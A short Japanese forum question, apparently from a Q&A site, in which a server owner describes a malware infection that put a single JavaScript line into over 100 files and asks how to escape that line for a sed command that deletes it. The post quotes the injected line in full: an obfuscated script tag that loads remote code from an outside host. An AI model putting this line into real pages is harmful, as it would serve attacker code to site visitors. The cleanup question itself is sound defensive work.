最近、私のLinuxサーバーがマルウェアに感染し、その結果、100以上のファイルが1行のJavascriptコードに感染しました。
document.write('<sc'+'ript type="text/javascript" src="http://alienradar.ru/Kilobyte.js"></scri'+'pt>');
手動で削除するには疲れすぎるので、グーグルを掘り下げて(Linuxについてあまり知らなくても役に立たなかった)、この目的でsedを使用できることがわかりました。
残念ながら、私はラインを逃れることができなかったので、私は使うことができました
sed -i.bak '/line of text/d' *
構文では、一重引用符、二重引用符、円記号でいっぱいです。
どうすれば文字列をエスケープできますか、またはこれを行う他の-より簡単な-方法はありますか?